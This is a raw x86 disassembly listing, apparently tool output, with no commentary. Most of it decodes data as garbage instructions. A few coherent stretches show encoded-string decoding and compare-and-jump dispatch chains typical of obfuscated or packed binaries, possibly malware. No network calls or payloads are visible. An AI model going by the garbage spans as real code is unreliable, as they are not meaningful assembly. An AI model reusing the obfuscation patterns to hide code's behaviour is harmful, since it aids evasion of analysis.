add eax, 0xb99cddfa
int 0x78
stc
imul ebx, dword [eax + 0x5e8bdd60], 0x7e
mov bh, 0x46
sub byte [edi + 0x55bfc65], ah
cli
fstp qword [ecx + edi*4 + 0x6bf978cd]
cwde
pushal
fisttp qword [ebx + 0x46b77e5e]
das
salc
out dx, al
push esi
xchg ebx, eax
mov dl, 0xf3
jmp 0x86db8190
jle 0x6e0ae03e
jbe 0x6e0adfd6
jo 0x6e0adfce
mov esi, 0x5884809d
mov ah, 0xf1
mov bl, 0x64
jae 0x6e0ae081
mov eax, 0xa799b405
push ss
outsd dx, dword [esi]
mov ebp, 0xee0ab921
add al, 0xd6
mov bl, 0x29
leave
invalid
cld
cld
cmp byte [ecx - 0x25629600], ch
fisubr word [ebp - 0x41]
pcmpeqw mm7, qword [ecx - 0x2f6660d]
inc edi
pop esi
popal
jecxz 0x6e0ae07a
pop esp
xor eax, 0xfeaef5f0
invalid
invalid
push eax
xchg ebx, eax
test al, 0x9b
adc byte [eax + 0x1a9ff29e], dh
lahf
invalid
nop
jmp 0x6e0af779
nop
mov dword [ebp - 0x376], 0x2f3b0d
mov dword [ebp - 0x372], 0x1e1e3d1d
mov dword [ebp - 0x36e], 0x3a2b0c09
mov dword [ebp - 0x36a], 0x3639
mov dword [ebp - 0x1a8], 0xef904
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0x726a0
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x1a4]
sub eax, dword [ebp - 0x1b0]
sbb edx, dword [ebp - 0x1ac]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0xedd7d
or eax, dword [ebp - 0x1b4]
je 0x6e0b42b7
mov edx, 0xedd7d
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0xde836
or eax, dword [ebp - 0x1b4]
je 0x6e0be6ff
mov edx, 0xde836
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0xaa841
or eax, dword [ebp - 0x1b4]
je 0x6e0b891f
mov edx, 0xaa841
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0xa55e9
or eax, dword [ebp - 0x1b4]
je 0x6e0b13c7
mov edx, 0xa55e9
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0xa17e4
or eax, dword [ebp - 0x1b4]
je 0x6e0cba37
mov edx, 0xa17e4
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x8c663
or eax, dword [ebp - 0x1b4]
je 0x6e0afc4f
mov edx, 0x8c663
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x8925e
or eax, dword [ebp - 0x1b4]
je 0x6e0b5a2f
mov edx, 0x8925e
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x7d264
or eax, dword [ebp - 0x1b4]
je 0x6e0d009f
mov edx, 0x7d264
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x72f5b
or eax, dword [ebp - 0x1b4]
je 0x6e0c2d67
mov edx, 0x72f5b
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x6b4fa
or eax, dword [ebp - 0x1b4]
je 0x6e0ce927
mov edx, 0x6b4fa
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x51fa3
or eax, dword [ebp - 0x1b4]
je 0x6e0ba097
mov edx, 0x51fa3
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x4bd86
or eax, dword [ebp - 0x1b4]
je 0x6e0bfe77
mov edx, 0x4bd86
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3d494
or eax, dword [ebp - 0x1b4]
je 0x6e0bcf87
mov edx, 0x3d494
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3be04
or eax, dword [ebp - 0x1b4]
je 0x6e0b71a7
mov edx, 0x3be04
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3447b
or eax, dword [ebp - 0x1b4]
je 0x6e0c73cf
mov edx, 0x3447b
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x2f684
or eax, dword [ebp - 0x1b4]
je 0x6e0c5c57
mov edx, 0x2f684
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x2a98a
or eax, dword [ebp - 0x1b4]
je 0x6e0c15ef
mov edx, 0x2a98a
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x289e1
or eax, dword [ebp - 0x1b4]
je 0x6e0bb80f
mov edx, 0x289e1
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x13c79
or eax, dword [ebp - 0x1b4]
je 0x6e0c44df
mov edx, 0x13c79
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x9d52
or eax, dword [ebp - 0x1b4]
je 0x6e0ca2bf
mov edx, 0x9d52
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
mov eax, dword [ebp - 0x1b8]
xor eax, 0x5ee8
or eax, dword [ebp - 0x1b4]
je 0x6e0cd1af
mov edx, 0x5ee8
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x6e0d009c
add al, 2
add byte [ebx - 0x1b77b], cl
push dword [0xdb3]
mov eax, dword [ebp - 0x1b8]
xor eax, 0xdb3
or eax, dword [ebp - 0x1b4]
je 0x6e0c8b47
mov eax, dword [ebp - 0x1b8]
xor eax, 0x38b9
or eax, dword [ebp - 0x1b4]
je 0x6e0b2b3f
jmp 0x6e0d009c
sbb dword [ebp - 0x2eef1e76], esi
mov ebx, 0x999b2bbd
cmp byte [eax - 0x76], 0x40
pushal
inc edx
mov ah, 0x10
pop ss
popal
xor dword [ecx], 0xf68af29f
mov edx, 0x620f55ad
mov ebp, 0xb256389
pop esi
adc edi, dword [edx - 4]
jg 0x6e0afc19
mov ebx, 0x2183e7d6
cmpsb byte [esi], byte es:[edi]
add edx, dword [edi + 0x1e]
mov cl, 0x22
xchg ebx, eax
fild dword [eax]
sar bl, 0x63
jnp 0x6e0afc7b
cmp byte [ecx - 0x17], 0x26
mov byte [edx + 0x5f082ea], bh
adc byte [edi + 0x74da1b0f], bh
cmp byte [edi], cl
inc eax
fisubr word [ebp - 0x369c3282]
dec esp
pushfd
and eax, edi
test byte [ebx + 0x1f7acc6b], ah
sbb esi, edi
xchg esp, eax
pop ds
pop ss
insb byte es:[edi], dx
mov eax, 0xd21b10d8
ret 0xe9c5
mov edi, ds
test al, 0xdf
sub bh, byte [edx - 0x35]
test ah, cl
mov ch, 0x82
inc ecx
das
add dword [ecx + edx*8 - 0x35], 0xffffffe9
adc dl, byte [esi]
mov al, 0xd8
inc ebp
pop ebx
jle 0x6e0b137f
movsd dword es:[edi], dword [esi]
in al, dx
sbb byte [esi + ecx*2], ah
and byte [ebx - 0x13], ch
sbb esi, dword [edi]
invalid
div byte [esp + ebp*2 - 0x2f]
mov esi, 0x94660ea
push ds
pushal
inc esi
or dword [esi], ebx
rcl dl, 1
arpl word [eax + 0x3a340962], sp
xchg esi, eax
shl dl, cl
mov ebx, 0xe60ff8ec
pop edi
pop es
pop ebp
pop ds
je 0x6e0b144a
rcl ch, 1
jl 0x6e0b137b
aad 0x7c
nop
mov ebp, 0xdc78f484
mov edi, 0x68c6fc78
pop edx
je 0x6e0b13e8
dec eax
inc edi
std
sar dl, 1
shr dword [eax - 0xa111275], 1
sub bl, bl
xor esi, ebx
dec byte [edi]
pushal
fcom qword [0x9ba62565]
imul eax, dword [ecx + 0x30f64f7f], 0x83759466
inc ebp
sar dh, 0x5a
loop 0x6e0b13cd
stosd dword es:[edi], eax
pop edx
xlatb
insb byte es:[edi], dx
cdq
sub ebx, esi
rcr dword [ecx], cl
rol dword [esi + 0x54073e24], 0x7a
outsb dx, byte [esi]
jp 0x6e0b14a1
lahf
invalid
jo 0x6e0b1431
mul ch
outsb dx, byte [esi]
movsd dword es:[edi], dword [esi]
mov al, 0x49
loopne 0x6e0b14bb
rcl dword [ebx - 0xb], 0xaf
iretd
or dword [ecx], edi
dec eax
enter 0x5fdd, 0xffffffffffffffe9
sbb dword [esi + 0x41e55675], esp
mov dh, 0x16
shl byte [ecx + 0x4dcc903e], cl
mov al, 0xdc
in eax, dx
scasd eax, dword es:[edi]
mov byte [edx], cl
xor al, 8
int1
cdq
mov dh, 0x75
lodsd eax, dword [esi]
je 0x6e0b151d
cmp ebx, dword [eax + ebx + 0x68]
loopne 0x6e0b1482
inc esi
aam 0x78
mov ch, 0x39
fcmovnb st(0), st(2)
mov bl, 0x71
dec esp
jnp 0x6e0b148f
sbb byte [edi + eax], cl
ror dword [edx + 0x2c985e01], 1
push ecx
aam 0x10
mov ss, ecx
dec ebx
fst dword [esi + eax*8 + 0x69f0589d]
and dh, ah
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
xor ebx, dword [ebp - 0x68]
or dword [ebx + 0x63], esi
mov byte [ebx + 0x106949ec], bh
fisttp word [ebx + 0x2954208e]
pushfd
push 0x39
insd dword es:[edi], dx
adc eax, 0xf05a3409
pop eax
add eax, 0x5f7d354b
mov bl, 0xc2
mov ch, 0x70
lodsd eax, dword [esi]
lodsd eax, dword [esi]
dec edx
sar dword [esi + 6], 1
adc al, 0xec
or eax, 0xf3b95062
push 0xc9b5dd5e
sbb ebp, dword [esi]
stosd dword es:[edi], eax
jg 0x6e0b1550
xor ecx, dword [edi]
jmp 0x9ac2da92
cmp al, 0x7e
push ecx
loope 0x6e0b1590
cmp dh, ah
ret
cmpsb byte [esi], byte es:[edi]
jp 0x6e0b15b6
sub al, 0xf8
cli
add ebp, edi
pop edi
stc
pop esi
lds edx, [eax + 0x37]
pop ss
adc edx, ebx
pushfd
mov ch, 0x90
int3
in eax, 0xf6
and ch, byte [ebx + 0x74]
scasb al, byte es:[edi]
cmpsd dword [esi], dword es:[edi]
sbb eax, 0x7afa8675
cmc
lodsb al, byte [esi]
add esi, ebx
mov ch, 0xd8
xchg ebx, eax
sbb dh, byte [ecx + 0x61afac38]
mov al, 0xcd
loop 0x6e0b15f3
sub byte [edi + edx*2 + 0x30], ah
mov byte [ebp + edx*8 - 0x43], bh
inc esi
and eax, 0x4a276bd0
jecxz 0x6e0b15fc
jbe 0x6e0b15ca
adc edx, dword [esi - 0x75]
daa
out dx, al
invalid
loopne 0x6e0b1636
mov al, 0x98
stosb byte es:[edi], al
lds ecx, [ebx - 0x127d2b7a]
inc ecx
or ch, bh
invalid
and byte [eax + 0x58df3407], ah
pop es
xor al, 0xdf
pop eax
push ecx
mov eax, 0x85db59df
xchg byte gs:[eax], ah
push edx
pop ecx
fild dword [ebp + 0x52208665]
xchg byte [eax + eax*2 + 0x210ce741], ah
cmc
cmc
push 0xbf67f95f
mov dl, 0xba
mov cl, 0x32
fild dword cs:[edi]
fnstsw word [ecx]
sub dword [ecx + 6], ebp
pop edx
xor al, 0xf2
sub byte [ebp + 0x29], bh
invalid
inc esi
test byte [ecx], ch
mov esi, 0xbb47bb1
and bl, dh
insb byte es:[edi], dx
out dx, eax
cmp eax, 0xea86f214
movsb byte es:[edi], byte [esi]
push 0xcc1777e3
cli
jg 0x6e0b15f5
push ebx
dec edx
wait
imul esi, dword [ecx], 0xffffffcf
inc eax
jnp 0x6e0b1639
lahf
and al, 0xd0
std
mov ch, 0x41
mov al, 0xfb
cdq
lds esp, [ebx + 0x11]
dec ecx
adc byte [esi], 0x3e
out dx, al
push esi
pop eax
push esp
push eax
cdq
test al, 0x9d
aas
leave
sbb eax, ecx
xor eax, 0xeed2e937
sub al, 0xe5
sti
inc ebp
sbb al, 0xdf
and ch, byte [eax - 0xe]
aam 0xdf
in eax, dx
popal
xor edi, dword [eax + 0x3c]
test dword [esi], ebp
out dx, al
xor dl, byte [eax + 0x4e8a414d]
and dword [ecx + 0x5e], edi
xor ah, byte ss:[ebx + 0x6c]
cwde
invalid
dec edi
ret 0x4132
cmp al, 9
add dword [ebp - 0x170b0694], esi
inc edx
invalid
cld
lahf
enter 0xffffffffffff9457, 0xffffffffffffffce
cmpsb byte [esi], byte es:[edi]
pop ss
pop ds
or eax, ecx
int3
and eax, 0x5b05416a
retf 0xb15f
stosb byte es:[edi], al
std
mov esp, 0x26eaeb7f
jecxz 0x6e0b8954
lodsd eax, dword [esi]
lcall 0x8cd4, 0xa1ed18d4
lea esi, [edx]
sub dword [edi - 0x707bd56f], 0xffffffde
enter 0x79e2, 0x4b
test byte [edi + 0x79e2c8de], cl
dec ebx
pushfd
xchg byte [esi + 0x3d], bl
loop 0x6e0b8970
and cl, byte [eax*4 + 0x2cc0993c]
jbe 0x6e0b8947
cdq
shr byte [esi + esi*2], 0xfb
sub al, 0x8f
fcom dword cs:[esp + eax*8 - 0x7da8179]
aaa
aaa
xor eax, ebx
adc dword [ebp - 0x36], edx
add ah, byte [edx - 0x7e]
aad 0x5f
jle 0x6e0b8936
and eax, 0x333737f8
ret
invalid
adc dh, byte [edi]
and dword [ebx - 0x1f], eax
insb byte es:[edi], dx
pop es
ret
into
aad 0x95
xor eax, dword [esi]
jb 0x6e0ba0e5
pavgw mm0, qword [edx]
sti
retf 0x4ab
cmp dword [esi - 0xed5dff7], esp
xor eax, 0x579bbedd
xor ebp, esi
cmc
wait
js 0x6e0ba10d
test bl, cl
jmp 0x2f62a216
mov edi, 0xf891a8bf
dec ebp
xor byte [ebx], dh
and dword [ecx - 0x37428128], 0xfe3f0e2b
and edx, dword [edx + edx + 0x37]
nop
jl 0x6e0ba0d9
in eax, dx
cmp dl, byte [esi - 0x7b60ba92]
fsub qword [eax - 0x4beaaaf6]
xor eax, 0x78c3ea5e
adc al, bl
out dx, eax
sbb byte [ecx], dl
sahf
sub eax, 0xc971e3fb
movsd dword es:[edi], dword [esi]
invalid
jmp 0x230d7214
cmpsd dword [esi], dword es:[edi]
jp 0x6e0bb7ab
scasb al, byte es:[edi]
outsd dx, dword [esi]
cmc
push ss
nop
sub dword [edx + 0x45], edi
cmp byte [ebx], dl
xchg esp, eax
push ebp
lodsb al, byte [esi]
pop ds
popfd
inc ebx
aaa
imul dword [edx - 0x5ca2a2f5]
xchg ebx, eax
test al, 0x62
invalid
mov ecx, 0x6f5dcab2
xor edx, dword [esi + 0x24]
push ebx
xchg esi, eax
pop esi
out dx, al
dec eax
les edi, [ebp + 0x56]
sal dword [ebx], 1
std
fdivr st(3)
mov byte [0x70832b56], al
mov ebx, 0x56242db1
mov cl, 0x2d
and al, 0x56
mov byte [eax - 0x2b3acee7], ch
stosd dword es:[edi], eax
dec esi
add al, 0x7e
or eax, 0xd29e5b82
rol edx, 1
call 0x43fa05fe
in eax, dx
pop esp
or esp, dword [ecx]
std
sbb dword [esi + edx*4], ecx
push edi
daa
and dh, bh
mov dword [0x3533267b], eax
lea esi, [edi + 0x4f27b98b]
int 0xa5
jp 0x6e0bcfa3
sub dword [eax - 0x5812157d], 0x1ec9ef1d
fimul dword [esi]
stosd dword es:[edi], eax
pushfd
pop ebx
movsd dword es:[edi], dword [esi]
retf 0xa95b
mov byte [0x256d855f], al
pop ecx
mov bp, word ss:[eax - 0x21]
push ecx
cmp dword [edx - 0x73], esi
push ds
mov ebp, dword [esi]
invalid
and word [ebp + 0x4e7c22f1], cx
inc esp
mov ah, 0x5b
ljmp 0xbabc
mov ebx, 0xd53f11ee
jnp 0x6e0bfea8
xor edx, dword [ebp - 0x51]
dec edi
push 0xf57c3438
scasd eax, dword es:[edi]
fidivr word [ebx - 0x1918dc24]
test byte [edi + ebx], 0xce
and al, byte [edi + 0x7f87e7cd]
push 0xffffffffffffff84
mov edi, 0x1f920cf4
jmp 0x6e0bfe36
orps xmm3, xmmword [ebx + 0x64c0b92]
push ebx
invalid
cld
invalid
mov dword [esi - 0x3fa7b246], ebx
das
invalid
adc edi, ebx
sbb eax, 0xfcfeb953
outsd dx, dword [esi]
popfd
inc ebp
or eax, 0x1464cb1f
int1
in al, dx
inc esi
in al, dx
call 0xec304a8
pop ecx
outsd dx, dword [esi]
fst qword [ebx + edx*2]
push ecx
leave
add bh, 0xb8
dec edi
lds eax, [esp + ebp - 0x56]
das
stc
sar dword [ecx + ebx - 0x6eda8f1], 1
arpl si, ax
mov dl, byte [edx + 0x58d2a0b7]
ret
xchg ebx, eax
scasb al, byte es:[edi]
sbb cl, byte [ebp + 0x34]
jo 0x6e0c5cab
outsb dx, byte [esi]
frstor dword [edx - 0x31]
cwde
loopne 0x6e0c5c3c
push 0x63d623b6
adc bh, byte [ebx + 0x7cb5af0b]
enter 0xffffffffffff90ca, 0xffffffffffffffcc
jmp 0x6e0d00a0
in al, 0x45
jp 0x6e0c5c9a
stosb byte es:[edi], al
bound esp, qword [edx + 0x28]
jns 0x6e0c5c36
das
hlt
ret
cmp al, 0x83
insd dword es:[edi], dx
les esi, [eax + 0x27]
jo 0x6e0c5cd4
inc edi
mov edi, 0xfc14b28
popfd
push edi
or byte [edx], dl
invalid
add eax, 0x7569b0b1
jne 0x6e0c5ca6
or bh, bl
stc
jae 0x6e0c5d2b
neg al
fcom st(0)
test eax, 0x1310e2db
pop edi
cdq
mov eax, 0x3acc6e77
jge 0x6e0c5cc6
sal dword [ebx*8 + 0x2ca49592], cl
jge 0x6e0c5d4e
movsb byte es:[edi], byte [esi]
sub al, 0x7d
popal
cmp eax, 0x94f74242
push eax
pop edi
fcom qword [edx]
xchg byte [esi - 0x631c32ce], dh
mov ebx, 0x4cf2a363
cmp edi, dword [0x45b9fb2c]
dec ebp
xchg edx, eax
sub al, 0xfb
mov ecx, 0x924d6445
inc ebp
pop edx
jl 0x6e0c5ce9
stosb byte es:[edi], al
adc eax, 0x1d4dee13
adc eax, 0x66a9a47f
outsd dx, dword [esi]
xchg edi, eax
and eax, 0x95dd6e26
and byte [ecx], dl
adc byte [eax + 0x29d416cc], 0x87
out 0x9f, al
lahf
imul esp, edi, 0x25
add byte [edi + 0x20ea777a], dl
sub eax, 0x1eacc908
xor dword [esi - 0x1b], 0x445f6f09
or dword [edi + 0x5f], ebp
inc esp
loop 0x6e0c5d88
test dword [edi - 0x57], eax
sbb edx, dword [ebx + 0x49406eee]
test al, 0xe3
mov ah, 0x5f
jecxz 0x6e0c5d04
pop edi
mov bl, 0x44
sahf
sbb ch, cl
push cs
invalid
and esp, ecx
je 0x6e0c5d35
jae 0x6e0c5d3d
xchg byte [ebx], bl
and al, 0xfb
mov ebp, 0x2600e6d5
pop esi
push eax
rol byte [esi - 0x5df6d7f8], 0x26
ret
fadd dword [ebx - 0x57]
clc
idiv dword [ecx*8 + 0x14b301b8]
lea eax, [ecx + ecx*2 - 4]
pop ss
aaa
xor eax, 0x1369afe4
mov al, 0xb2
sub dword [edx], esp
mov dl, 0xc9
aas
sbb dl, cl
push 0xffffffffffffffb6
sbb al, 0xee
sbb byte [eax - 0x7e6768fc], 0x99
in al, dx
in al, dx
sbb al, 0xbf
cmpsb byte [esi], byte es:[edi]
invalid
in eax, dx
sbb edx, dword [edx - 0x32]
xchg esp, eax
invalid
adc byte [edx - 0x77d9d1cb], cl
test al, 0x5d
or esi, dword [ebp - 0x25]
push eax
invalid
xchg esi, eax
fldenv [eax - 0x73]
in al, dx
salc
out dx, al
fcom qword [edi - 0x2e79ffd7]
les edx, [esi + 0x15d99e8]
mov dword [ecx], esp
invalid
out 0xcf, eax
push edi
outsd dx, dword [esi]
push esi
fsubrp st(0)
jae 0x6e0cba37
lodsd eax, dword [esi]
push 0x60
jp 0x6e0cbaad
stosb byte es:[edi], al
wait
xor al, 0x4f
cwde
loop 0x6e0cba56
pop esi
adc esp, 0x39d8cd9b
int1
inc ebp
mov ecx, 0x5b96b094
fucomp st(4)
scasd eax, dword es:[edi]
call 0x85b624a8
sbb cl, byte [edi - 0x7b716939]
inc esi
jp 0x6e0cb9fa
jmp 0x2c1d2e21
ror dword [esi + 0x3619f084], 0xaa
cwde
xlatb
mov ebx, 0xb81c8a38
sbb eax, 0x6e1bf707
sub al, 0x45
std
hlt
inc eax
and eax, 0xc2507f02
or edi, eax
aad 0x25
and eax, 0x291dccf1
pop edx
bound ecx, qword [edx + 0xc]
sbb al, ah
cmc
and eax, 0x1dccf125
sub dword [edx + 0x62], ebx
dec edx
or al, 0x1a
les esp, [edi - 0xb]
mov dword ss:[eax - 0x467fc663], 0x30de3dc2
xchg ecx, eax
lahf
mov eax, 0x9966c892
adc eax, 0x486053d6
adc edx, esi
mov esp, 0x784ab51e
aaa
mov word [bx + si], gs
xchg esi, eax
or al, byte [eax]
adc esp, dword [ecx - 0x19f61098]
out dx, eax
or esi, esp
pop edx
test byte [ecx], al
push ds
jns 0x6e0cd174
inc ecx
test al, 0x35
ror dword [ebp - 0x22], cl
in al, 0x32
mov al, byte [0xc69b4832]
das
mov word [ebx], ds
jge 0x6e0cd14c
loope 0x6e0cd153
insb byte es:[edi], dx
call 0x3bb7af8e
daa
not ebx
test dword [edx + 0x110f4292], ecx
ja 0x6e0cd1b6
xchg edx, eax
inc edx
movups xmmword [edi + 0x3c], xmm6
adc ah, dl
jo 0x6e0cd116
push esp
in al, 0xd7
into
loope 0x6e0cd1c3
mov dword [0x5c99cf58], eax
ja 0x6e0cd10d
sahf
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
stc
rcr dword [esi + 0x70da4a8b], 0x5f
ljmp 0x6ef
popal
push esp
add ebp, dword [esi - 0x568fd1f2]
insd dword es:[edi], dx
arpl ax, ax
nop
int3
bound ecx, qword [edx]
xor eax, 0x588d103
ror dword [eax + 0x1099c805], 1
xor byte [eax + esi - 0x186401f4], bl
jecxz 0x6e0cd15d
enter 0x1099, 0x30
pushfd
xor byte [esi + edi*8], cl
wait
out 0xe3, eax
wait
salc
jecxz 0x6e0cd20d
adc ebp, ebp
inc edi
dec eax
ficom word [ebx + ecx*8 + 0x3238ea3e]
les esp, [edi + edi - 0x513c1007]
xor edx, dword [ebx + ebx*4]
mov al, 0xe5
xor al, 0xa2
jl 0x6e0cd246
aam 0x6f
shl byte es:[esi + 0x21f26132], 1
sbb eax, 0xb4cda6fa
cmp dword [ebp - 0x1a], edi
sar dword [ebx - 0x24], cl
inc esp
aad 0x91
sbb dl, byte [esi - 0x78fef81e]
popal
lahf
out dx, eax
mov al, byte [0x7f9bee94]
pop dx
mov dl, 0
jecxz 0x6e0cd19d
cmp dword [edx + ebp*4 - 0x6a], esp
stosb byte es:[edi], al
xchg esi, eax
mov edi, dword [ecx]
jb 0x6e0cd1b3
mov ds, word [ecx]
jo 0x6e0cd274
mov cl, 0xb2
in eax, 0x6a
sal byte [edx], 1
cmp dword [edi], esp
xchg esi, eax
retf 0x65d3
jmp 0x6e0cd257
mov eax, 0xdc3fde20
jl 0x6e0cd2c8
stosb byte es:[edi], al
fadd st(7)
dec eax
pop ebp
sar dword [eax + 0x73], 1
mov byte [0x697f077b], al
pop es
jg 0x6e0cd2c3
retf 0x9715
jecxz 0x6e0cd2bf
adc dword [eax], edi
mov cl, 0x92
outsb dx, byte [esi]
cmp dl, byte [eax - 0x5c1f6d34]
inc esi
std
jne 0x6e0cd227
inc eax
jns 0x6e0cd2ee
sub byte [edi - 0x5ac70573], al
aaa
adc al, 0x1c
mov dword [0x644cbafe], eax
xchg ebx, eax
or edx, dword [esi + edx*2]
das
arpl word [0xcbd816a5], si
pop ebx
push esp
stosd dword es:[edi], eax
cdq
clc
xchg bl, cl
adc dword [edx], esp
loope 0x6e0cd2ae
retf
scasd eax, dword es:[edi]
push 0x7091
mov ah, byte [eax + 0x48f00f28]
dec ebx
mov esp, 0x2241183d
cdq
mov cl, 0x4a
push 0xa08a7091
sub byte [edi], cl
invalid
dec edx
cmp al, 0x2d
js 0x6e0cd2e3
pop ds
adc byte [esi - 0x1c868d3c], bh
jns 0x6e0cd2ad
loopne 0x6e0cd2a2
pop esi
rol dword [esp + ecx*4 - 0x32], 1
mov esi, cs
test al, bl
movsb byte es:[edi], byte [esi]
mov al, 0xfc
cmp dh, byte [ecx]
imul bh
int3
loopne 0x6e0cd2f2
sbb eax, 0x8842f9d
mov byte [0xa1a4914e], al
js 0x6e0cd2cf
mov eax, dword [0xe02fde78]
popfd
das
loopne 0x6e0cd291
nop
je 0x6e0cd311
daa
leave
push eax
pop ds
pop ss
salc
mov eax, 0x5671b8dc
sub ah, bh
jb 0x6e0cd2a7
push eax
dec ebp
sub al, 7
mul byte [edi + 0x45118dfc]
loopne 0x6e0cd31e
or al, 0x65
mov al, byte [0xa3070828]
mov al, byte gs:[0xa3070828]
sub ah, dh
invalid
lcall 0x8665, 0xf1f1e425
rcl dl, 1
push ecx
push ecx
lodsb al, byte [esi]
jno 0x6e0cd389
nop
mov ah, 0xd3
fbld tbyte [edx]
adc dl, byte [eax - 0x53c51a27]
jnp 0x6e0cd345
cld
jle 0x6e0cd368
shl byte [edi - 0x1b], 0x80
sbb dh, byte [eax - 0x7e]
scasd eax, dword es:[edi]
sti
lock and esi, dword [edi - 0x6fb76bc7]
int3
iretd
insd dword es:[edi], dx
cmp dh, bl
mov si, word [0xf54b8d28]
xchg edx, eax
lodsb al, byte [esi]
sti
mov al, 0xa3
cmpsb byte [esi], byte es:[edi]
pushal
sub edx, dword [edx + 0x1dd8d221]
xchg esi, eax
mov dword [ecx], ecx
outsb dx, byte [esi]
jl 0x6e0cd3f2
clc
invalid
invalid
invalid
nop
jmp 0x6e0d00a0
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xe
lea eax, [ebp - 0x376]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x1c0], 0x9148d
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1c8], 0xa0800
mov dword [ebp - 0x1c4], 0
mov eax, dword [ebp - 0x1bc]
imul eax, dword [ebp - 0x1c8]
mov edx, eax
mov eax, dword [ebp - 0x1c4]
imul eax, dword [ebp - 0x1c0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1c0]
mul dword [ebp - 0x1c8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], edx
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x1d0]
xor eax, 0x16266800
mov edx, dword [ebp - 0x1cc]
xor edx, 0x5b
or eax, edx
je 0x6e0d7781
mov edx, 0x16266800
mov eax, 0x5b
cmp edx, dword [ebp - 0x1d0]
sbb eax, dword [ebp - 0x1cc]
jl 0x6e0d7784
mov eax, dword [ebp - 0x1d0]
xor eax, 0xca10a
or eax, dword [ebp - 0x1cc]
je 0x6e0d19a4
mov edx, 0xca10a
mov eax, 0
cmp edx, dword [ebp - 0x1d0]
sbb eax, dword [ebp - 0x1cc]
jl 0x6e0d7784
mov eax, dword [ebp - 0x1d0]
xor eax, 0xac422
or eax, dword [ebp - 0x1cc]
je 0x6e0d311c
mov edx, 0xac422
mov eax, 0
cmp edx, dword [ebp - 0x1d0]
sbb eax, dword [ebp - 0x1cc]
jl 0x6e0d7784
mov eax, dword [ebp - 0x1d0]
xor eax, 0x80af3
or eax, dword [ebp - 0x1cc]
je 0x6e0d4894
mov edx, 0x80af3
mov eax, 0
cmp edx, dword [ebp - 0x1d0]
sbb eax, dword [ebp - 0x1cc]
jl 0x6e0d7784
mov eax, dword [ebp - 0x1d0]
xor eax, 0x33661
or eax, dword [ebp - 0x1cc]
je 0x6e0d600c
mov eax, dword [ebp - 0x1d0]
xor eax, 0x479d1
or eax, dword [ebp - 0x1cc]
jne 0x6e0d7784
